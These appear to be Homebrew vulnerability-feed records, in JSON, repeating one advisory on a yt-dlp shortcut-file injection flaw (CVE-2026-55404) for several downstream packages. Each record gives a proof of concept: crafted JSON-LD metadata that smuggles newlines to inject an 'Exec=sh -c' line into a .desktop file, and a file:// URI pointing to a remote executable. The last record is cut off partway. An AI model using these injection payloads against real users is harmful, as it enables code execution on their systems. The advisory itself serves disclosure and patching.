{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "yt-dlp",
        "resource_purl": "pkg:pypi/yt-dlp@2026.8.19",
        "upstream_fixed_in": "2026.7.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "gamdl",
        "purl": "pkg:brew/gamdl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.1"
            },
            {
              "fixed": "3.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/yt-dlp@2026.8.19",
        "name": "yt-dlp",
        "resource": "yt-dlp",
        "strategy": "registry",
        "subject_version": "2026.8.19"
      }
    ]
  },
  "details": "### Summary\nIf the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user\u0027s system if the user executes the generated `.url` or `.desktop` files.\n\n### Details\nThe expected result of yt-dlp\u0027s `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user\u0027s platform.\n\nThere are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp\u0027s improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.\n\n#### Scenario 1: `file://` URI injection in Windows `.url` shortcut\n\nIf a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media\u0027s metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file.\n\nThis lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user\u0027s system.\n\n#### Scenario 2: Shell command injection in Linux `.desktop` shortcut\n\nThe Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org \"desktop entry\" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=%(filename)s\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nThe keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key.\n\nIf a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. \n\nIf the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection.\n\nFor example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:\n\n```html\n\u003chtml\u003e\n\u003cscript type=\"application/ld+json\"\u003e{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\":\"Stream\\nType=Application\\nExec=sh -c \u0026quot;touch /tmp/pwned\u0026quot;\\n\\n[newgroup]\\nName=endtitle\",\n    \"contentUrl\": \"https://example.org/video.mp4\"\n}\u003c/script\u003e\n\u003c/html\u003e\n```\n\nThen, a yt-dlp user could try to download the legitimate video content from the page by running the following command:\n\n```bash\nyt-dlp --write-desktop-link --no-windows-filenames \"https://example.org/123\"\n```\n\nWhich would result in a desktop entry file containing a malicious shell command:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle [123]\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nIf a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user\u0027s system. (In the above example, a `/tmp/pwned` file would be created in the user\u0027s filesystem.)\n\n### Patches\nyt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.\n\nUsers who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options.",
  "id": "BREW-gamdl-CVE-2026-55404",
  "modified": "2026-09-25T08:51:15Z",
  "published": "2026-08-13T16:49:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55404"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yt-dlp/yt-dlp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output",
  "upstream": [
    "GHSA-6v4j-43gg-vj32",
    "CVE-2026-55404",
    "PYSEC-2026-3622"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "yt-dlp",
        "resource_purl": "pkg:pypi/yt-dlp@2026.7.4",
        "upstream_fixed_in": "2026.7.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "moodle-dl",
        "purl": "pkg:brew/moodle-dl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.13"
            },
            {
              "fixed": "2.3.13_12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/yt-dlp@2026.7.4",
        "name": "yt-dlp",
        "resource": "yt-dlp",
        "strategy": "registry",
        "subject_version": "2026.7.4"
      }
    ]
  },
  "details": "### Summary\nIf the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user\u0027s system if the user executes the generated `.url` or `.desktop` files.\n\n### Details\nThe expected result of yt-dlp\u0027s `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user\u0027s platform.\n\nThere are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp\u0027s improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.\n\n#### Scenario 1: `file://` URI injection in Windows `.url` shortcut\n\nIf a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media\u0027s metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file.\n\nThis lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user\u0027s system.\n\n#### Scenario 2: Shell command injection in Linux `.desktop` shortcut\n\nThe Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org \"desktop entry\" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=%(filename)s\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nThe keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key.\n\nIf a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. \n\nIf the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection.\n\nFor example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:\n\n```html\n\u003chtml\u003e\n\u003cscript type=\"application/ld+json\"\u003e{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\":\"Stream\\nType=Application\\nExec=sh -c \u0026quot;touch /tmp/pwned\u0026quot;\\n\\n[newgroup]\\nName=endtitle\",\n    \"contentUrl\": \"https://example.org/video.mp4\"\n}\u003c/script\u003e\n\u003c/html\u003e\n```\n\nThen, a yt-dlp user could try to download the legitimate video content from the page by running the following command:\n\n```bash\nyt-dlp --write-desktop-link --no-windows-filenames \"https://example.org/123\"\n```\n\nWhich would result in a desktop entry file containing a malicious shell command:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle [123]\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nIf a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user\u0027s system. (In the above example, a `/tmp/pwned` file would be created in the user\u0027s filesystem.)\n\n### Patches\nyt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.\n\nUsers who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options.",
  "id": "BREW-moodle-dl-CVE-2026-55404",
  "modified": "2026-09-17T19:28:45Z",
  "published": "2026-08-13T17:14:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55404"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yt-dlp/yt-dlp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output",
  "upstream": [
    "GHSA-6v4j-43gg-vj32",
    "CVE-2026-55404",
    "PYSEC-2026-3622"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "yt-dlp",
        "resource_purl": "pkg:pypi/yt-dlp@2026.8.19",
        "upstream_fixed_in": "2026.7.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "scdl",
        "purl": "pkg:brew/scdl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/yt-dlp@2026.8.19",
        "name": "yt-dlp",
        "resource": "yt-dlp",
        "strategy": "registry",
        "subject_version": "2026.8.19"
      }
    ]
  },
  "details": "### Summary\nIf the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user\u0027s system if the user executes the generated `.url` or `.desktop` files.\n\n### Details\nThe expected result of yt-dlp\u0027s `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user\u0027s platform.\n\nThere are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp\u0027s improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.\n\n#### Scenario 1: `file://` URI injection in Windows `.url` shortcut\n\nIf a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media\u0027s metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file.\n\nThis lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user\u0027s system.\n\n#### Scenario 2: Shell command injection in Linux `.desktop` shortcut\n\nThe Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org \"desktop entry\" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=%(filename)s\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nThe keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key.\n\nIf a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. \n\nIf the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection.\n\nFor example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:\n\n```html\n\u003chtml\u003e\n\u003cscript type=\"application/ld+json\"\u003e{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\":\"Stream\\nType=Application\\nExec=sh -c \u0026quot;touch /tmp/pwned\u0026quot;\\n\\n[newgroup]\\nName=endtitle\",\n    \"contentUrl\": \"https://example.org/video.mp4\"\n}\u003c/script\u003e\n\u003c/html\u003e\n```\n\nThen, a yt-dlp user could try to download the legitimate video content from the page by running the following command:\n\n```bash\nyt-dlp --write-desktop-link --no-windows-filenames \"https://example.org/123\"\n```\n\nWhich would result in a desktop entry file containing a malicious shell command:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle [123]\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nIf a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user\u0027s system. (In the above example, a `/tmp/pwned` file would be created in the user\u0027s filesystem.)\n\n### Patches\nyt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.\n\nUsers who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options.",
  "id": "BREW-scdl-CVE-2026-55404",
  "modified": "2026-09-17T17:39:43Z",
  "published": "2026-08-13T17:34:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55404"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yt-dlp/yt-dlp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output",
  "upstream": [
    "GHSA-6v4j-43gg-vj32",
    "CVE-2026-55404",
    "PYSEC-2026-3622"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "yt-dlp",
        "resource_purl": "pkg:pypi/yt-dlp@2026.7.4",
        "upstream_fixed_in": "2026.7.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "tubeup",
        "purl": "pkg:brew/tubeup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.5.8"
            },
            {
              "fixed": "2026.5.8_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/yt-dlp@2026.7.4",
        "name": "yt-dlp",
        "resource": "yt-dlp",
        "strategy": "registry",
        "subject_version": "2026.7.4"
      }
    ]
  },
  "details": "### Summary\nIf the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user\u0027s system if the user executes the generated `.url` or `.desktop` files.\n\n### Details\nThe expected result of yt-dlp\u0027s `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user\u0027s platform.\n\nThere are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp\u0027s improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.\n\n#### Scenario 1: `file://` URI injection in Windows `.url` shortcut\n\nIf a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media\u0027s metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file.\n\nThis lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user\u0027s system.\n\n#### Scenario 2: Shell command injection in Linux `.desktop` shortcut\n\nThe Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org \"desktop entry\" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=%(filename)s\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nThe keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key.\n\nIf a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. \n\nIf the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection.\n\nFor example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:\n\n```html\n\u003chtml\u003e\n\u003cscript type=\"application/ld+json\"\u003e{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\":\"Stream\\nType=Application\\nExec=sh -c \u0026quot;touch /tmp/pwned\u0026quot;\\n\\n[newgroup]\\nName=endtitle\",\n    \"contentUrl\": \"https://example.org/video.mp4\"\n}\u003c/script\u003e\n\u003c/html\u003e\n```\n\nThen, a yt-dlp user could try to download the legitimate video content from the page by running the following command:\n\n```bash\nyt-dlp --write-desktop-link --no-windows-filenames \"https://example.org/123\"\n```\n\nWhich would result in a desktop entry file containing a malicious shell command:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle [123]\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nIf a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user\u0027s system. (In the above example, a `/tmp/pwned` file would be created in the user\u0027s filesystem.)\n\n### Patches\nyt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.\n\nUsers who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options.",
  "id": "BREW-tubeup-CVE-2026-55404",
  "modified": "2026-09-17T17:23:59Z",
  "published": "2026-08-13T17:44:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55404"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yt-dlp/yt-dlp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output",
  "upstream": [
    "GHSA-6v4j-43gg-vj32",
    "CVE-2026-55404",
    "PYSEC-2026-3622"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "yt-dlp",
        "resource_purl": "pkg:pypi/yt-dlp@2026.8.19",
        "upstream_fixed_in": "2026.7.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "yewtube",
        "purl": "pkg:brew/yewtube"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.5"
            },
            {
              "fixed": "2.13.1_4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/yt-dlp@2026.8.19",
        "name": "yt-dlp",
        "resource": "yt-dlp",
        "strategy": "registry",
        "subject_version": "2026.8.19"
      }
    ]
  },
  "details": "### Summary\nIf the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user\u0027s system if the user executes the generated `.url` or `.desktop` files.\n\n### Details\nThe expected result of yt-dlp\u0027s `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user\u0027s platform.\n\nThere are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp\u0027s improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.\n\n#### Scenario 1: `file://` URI injection in Windows `.url` shortcut\n\nIf a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media\u0027s metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file.\n\nThis lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user\u0027s system.\n\n#### 